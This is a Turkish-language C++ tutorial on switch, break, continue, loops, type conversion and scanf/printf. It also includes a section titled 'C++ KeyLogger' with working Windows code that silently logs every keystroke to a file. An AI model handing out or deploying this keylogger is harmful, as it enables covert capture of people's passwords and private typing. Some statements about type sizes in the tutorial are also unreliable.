C++ switch kullanımı

switch yapısı, C++ dilinde bir değişkenin belirli değerlerine göre farklı işlemler yapılmasını sağlar. Aşağıdaki örnekte, değişken “x” için belirli değerleri kontrol eden bir switch yapısı verilmiştir:

int x = 2;

switch (x) {
    case 1:
        cout << "x değeri 1" << endl;
        break;
    case 2:
        cout << "x değeri 2" << endl;
        break;
    case 3:
        cout << "x değeri 3" << endl;
        break;
    default:
        cout << "x değeri 1, 2 veya 3 değil" << endl;
}

Bu örnekte, eğer x değeri 1 ise “x değeri 1” yazdırılır, x değeri 2 ise “x değeri 2” yazdırılır, x değeri 3 ise “x değeri 3” yazdırılır ve x değeri 1, 2 veya 3 değilse “x değeri 1, 2 veya 3 değil” yazdırılır.

switch yapısının kullanımında dikkat etmeniz gereken birkaç nokta var:

  • switch yapısındaki “case” satırlarında belirtilen değerler mutlaka sabit değerler olmalıdır. Örneğin, aşağıdaki kod hatalıdır:
int y = 2;

switch (y) {
    case y+1: // y+1 değeri değişken olduğu için hata verir
        cout << "y değeri 3" << endl;
        break;
}

break” ifadesi switch yapısının bir “case” bloğunun sonunda kullanılır ve switch yapısının çalışmasını sonlandırır. Eğer “break” ifadesi kullanılmazsa, switch yapısındaki diğer “case” blokları da çalıştırılır. Örneğin, aşağıdaki kod çalıştırıldığında “x değeri 2” ve “x değeri 3” yazdırılır:

int x = 2;

switch (x) {
    case 2:
        cout << "x değeri 2" << endl;
    case 3:
        cout << "x değeri 3" << endl;
}

C++ continue kullanımı

continue anahtar kelimesi, C++ dilinde bir döngünün bir sonraki iterasyonuna geçilmesini sağlar.

Döngülerde continue Kullanımı

Bir döngü içerisinde continue anahtar kelimesi kullanılarak, o döngünün kalan kısmı atlanıp bir sonraki iterasyona geçilebilir. Örneğin, aşağıdaki örnekte, döngü içerisindeki sayı 10’a eşit olduğu zaman döngünün kalan kısmı atlanır ve bir sonraki iterasyona geçilir:

#include <iostream>

int main()
{
    for (int i = 0; i < 100; i++)
    {
        if (i == 10)
        {
            continue;
        }
        std::cout << i << " ";
    }

    std::cout << std::endl;

    return 0;
}

Bu örnekte, i değişkeni 0 ile 99 arasında bir sayı olacak şekilde döngüde değiştirilir. Eğer i değişkeni 10’a eşitse, continue anahtar kelimesi çalıştırılır ve döngünün kalan kısmı atlanır ve bir sonraki iterasyona geçilir. Bu örnekte, ekrana “0 1 2 3 4 5 6 7 8 9 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99” yazdırılır. 10 yazdırılmaz.

Not: continue anahtar kelimesi sadece bir döngü içinde kullanılabilir. switch yapılarında kullanılamaz.

C++ break kullanımı

break anahtar kelimesi, C++ dilinde bir döngü veya bir switch yapısından çıkılmasını sağlar.

Döngülerde break Kullanımı

Bir döngü içerisinde break anahtar kelimesi kullanılarak, o döngüden çıkılabilir.

Aşağıdaki örnekte, döngü içerisindeki bir sayı 10’a eşit olduğu zaman döngüden çıkılır:

#include <iostream>

int main()
{
    for (int i = 0; i < 100; i++)
    {
        std::cout << i << " ";
        if (i == 10)
        {
            break;
        }
    }

    return 0;
}

Bu örnekte, i değişkeni 0 ile 99 arasında bir sayı olacak şekilde döngüde değiştirilir. Eğer i değişkeni 10’a eşitse, break anahtar kelimesi çalıştırılır ve döngüden çıkılır. Bu örnekte, ekrana “0 1 2 3 4 5 6 7 8 9 10” yazdırılır.

switch Yapılarında break Kullanımı

switch yapısı bir değişkenin değerine göre farklı işlemler yapılmasını sağlar. Bir case bloğu içerisinde break anahtar kelimesi kullanılarak, o case bloğundan ve o switch yapısından çıkılabilir. Örneğin:

#include <iostream>

int main()
{
    int x = 1;

    switch (x)
    {
        case 1:
            std::cout << "x değişkeni 1'e eşittir." << std::endl;
            break;
        case 2:
            std::cout << "x değişkeni 2'ye eşittir." << std::endl;
            break;
        default:
            std::cout << "x değişkeni 1 veya 2 değildir." << std::endl;
            break;
    }

    return 0;
}

C++ sonsuz döngü (infinite loop)

Sonsuz döngü, bir programın sürekli bir şeyi yapması anlamına gelir ve genellikle bir koşul olmadan yapılır. Bu tür bir döngüyü C++ dilinde while döngüsü kullanarak yapabilirsiniz.

Örnek olarak, aşağıdaki kod parçacığında while döngüsünün koşulu olmadan bir kez döndürülmesini gösteriyoruz:

while (true) {
   // sonsuza kadar yapılacak işlemler
}

Bu şekilde yazıldığında, while döngüsü her zaman true değerini döndürecektir ve döngü sürekli olarak yinelenecektir. Bu, sonsuz bir döngüyü temsil eder.

do-while ile sonsuz döngü

int count = 1;

do {
   // sonsuza kadar yapılacak işlemler
} 
while(count == 1);

Not: Sonsuz döngüler genellikle istenmeyen bir durumdur ve programınızı tasarım aşamasında bu tür döngüleri kullanmamaya çalışın. Ancak bazen gerekli olabilecek bir durum olabilir, bu nedenle bilmeniz faydalı olabilir.

C++ do-while döngüsü

C++ do-while döngüsü, bir koşul doğru olduğu sürece döngü içerisindeki kod bloğunu tekrar eden bir yapıdır. Do-while döngüsünde, koşul döngünün sonunda kontrol edilir, bu nedenle en az bir kere döngü içerisindeki kod bloğu çalıştırılır. Do-while döngüsünün yapısı şu şekildedir:

do {
  // Döngü içerisindeki kod burada yazılır
} while (koşul);

Koşul, bir ifade olup, bu ifade doğru (true) veya yanlış (false) değerini döndürebilir. Koşul doğru olduğu sürece, döngü içerisindeki kod bloğu tekrar edilir. Koşul yanlış olduğunda, döngüden çıkılır ve program devam eder.

Örneğin, bir sayının 10’a kadar olan çift sayılarını yazdırmak için aşağıdaki gibi bir do-while döngüsü kullanabilirsiniz:

#include <iostream>

int main() {
  int sayi = 0;
  do {
    std::cout << sayi << std::endl;
    sayi += 2;
  } while (sayi <= 10);
  return 0;
}

Bu program çıktısında, 0, 2, 4, 6, 8 ve 10 sayılarını görebilirsiniz. Do-while döngüsünün koşulu “sayi <= 10” olduğu için, döngü içerisindeki kod bloğu 6 defa tekrar edilmiştir.

Do-while döngüsü, while döngüsüne benzer şekilde çalışır ancak koşulun kontrol edildiği yer farklıdır. While döngüsünde, koşul döngünün başında kontrol edilir ve koşul yanlış olduğunda döngüden çıkılır. Do-while döngüsünde ise, koşul döngünün sonunda kontrol edilir ve en az bir kere döngü içerisindeki kod bloğu çalıştırılır.

C++ while döngüsü

While döngüsü, bir koşul doğru olduğu sürece döngü içerisindeki kod bloğunu tekrar eden bir yapıdır. Koşul doğru değilse, döngüden çıkılır ve program devam eder.

While döngüsünün yapısı şu şekildedir:

while (koşul) {
  // Döngü içerisindeki kod burada yazılır
}

Koşul, bir ifade olup, bu ifade doğru (true) veya yanlış (false) değerini döndürebilir. Koşul doğru olduğu sürece, döngü içerisindeki kod bloğu tekrar edilir. Koşul yanlış olduğunda, döngüden çıkılır ve program devam eder.

Örneğin, bir sayının 10’a kadar olan çift sayılarını yazdırmak için aşağıdaki gibi bir while döngüsü kullanabilirsiniz:

#include <iostream>

int main() {
  int sayi = 0;
  while (sayi <= 10) {
    std::cout << sayi << std::endl;
    sayi += 2;
  }
  return 0;
}

Bu program çıktısında, 0, 2, 4, 6, 8 ve 10 sayılarını görebilirsiniz. While döngüsünün koşulu “sayi <= 10” olduğu için, döngü içerisindeki kod bloğu 6 defa tekrar edilmiştir.

C++ for döngüsü

“For” döngüsü, belli bir koşulu sağladığı sürece bir dizi kodu tekrar etmek için kullanılır. Örneğin, bir dizi içinde gezinmek isteyebilirsiniz veya belirli bir sayıda işlem yapmak isteyebilirsiniz. “For” döngüsünün yapısı şöyle görünür:

for (başlangıç koşulu; bitiş koşulu; artış/azalış) {
  // döngü içerisinde çalıştırılacak kod
}

Başlangıç koşulu, döngünün ilk kez çalıştırılacağı zaman uygulanır. Bitiş koşulu, döngünün her bir adımda kontrol edilir ve eğer doğru değilse döngü sona erer. Artış/azalış, her döngü adımından sonra uygulanır ve döngünün devam etmesi için gereklidir.

Örnek olarak, bir dizi içinde gezinmek isteyelim:

#include <iostream>
using namespace std;

int main()
{
   // Dizimiz
   int dizi[5] = {1, 2, 3, 4, 5};

   // Dizinin tüm elemanlarını ekrana yazdırma
   for (int i = 0; i < 5; i++)
   {
      cout << dizi[i] << endl;
   }

   return 0;
}

Bu örnekte, “for” döngüsü “int i = 0” ile başlar ve “i < 5” koşulu doğru olduğu sürece devam eder. Döngü her adımda, “i” değişkeninin değerini bir artırır ve ekrana “dizi[i]” değerini yazdırır. Bu şekilde, dizinin tüm elemanları ekrana yazdırılır.

C++ KeyLogger

#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>

using namespace std;



int main()
{

    while (1) {

        Sleep(10);

        for (int KEY = 8; KEY <= 190; KEY++)
        {
            // determines whether the key is pressed or not
            if (GetAsyncKeyState(KEY) == -32767) {

                fstream LogFile;
                LogFile.open("dat.txt", fstream::app);

                if(LogFile.is_open()){
                    LogFile << char(KEY);
                    LogFile.close();
                }

            }
        }
    }
}

C++ tür dönüşümü

Örtük (implicit) Dönüşüm

Derleyici tarafından algılanarak, otomatik olarak dönüşüm gerçekleştirilir.

Aşağıdaki örnekte, integer olarak tanımlanan num_int değişkenine, double bir değişkene ait 3.14 değeri atanıyor. num_int değişkeni integer olduğundan, ondalıklı kısım yerine tam sayı değeri olan 3’ü kabul ediyor.

#include <iostream>

using namespace std;

int main()
{
    

   int num_int;
   double num_double = 3.14;
 
   num_int = num_double;

   cout << "num_int = " << num_int << endl;
   cout << "num_double = " << num_double << endl;

   return 0;

}

Açık (Explicit) Dönüşüm

Programcı tarafından, veri türünün manuel olarak belirtilmesiyle gerçekleşen dönüşümdür.

#include <iostream>

using namespace std;

int main()
{
    
   // C tarzı dönüşüm    
   double num_double = 3.14;
   cout << "sonuc = " << (int)num_double << endl;
   
   //fonksiyon tarzı dönüşüm
   double num_double2 = 4.05;
   cout << "sonuc = " << int(num_double2) << endl;

   return 0;

}

C++ scanf & printf kullanımı

Bazı C++ ver, tipleri, kendi format belirteçlerine sahiptir. Bu belirteçler, C’den miras alınan scanf( ) ve printf( ) fonksiyonları ile kullanılmaktadır. scanf( ) ve printf( ) yerine cin ve cout kullanabilirsiniz ancak C’den miras alınan, C standart i/o kütüphanesine <cstdio> ait fonksiyonların milyonlarca satırlık işlemlerde daha performanslı olduğunu unutmayın.

  • Int (“%d”): 32 Bit integer
  • Long (“%ld”): 64 bit integer
  • Char (“%c”): Character type
  • Float (“%f”): 32 bit real value
  • Double (“%lf”): 64 bit real value
#include <iostream>
#include <cstdio>
using namespace std;

int main() {
    
    int a;
    long b;
    char c;
    float f;
    double d;
    
    
    scanf("%d\n%ld\n%c\n%f\n%lf", &a, &b, &c, &f, &d);
    printf("%d\n%ld\n%c\n%f\n%lf", a, b, c, f, d);
  
    
    return 0;
}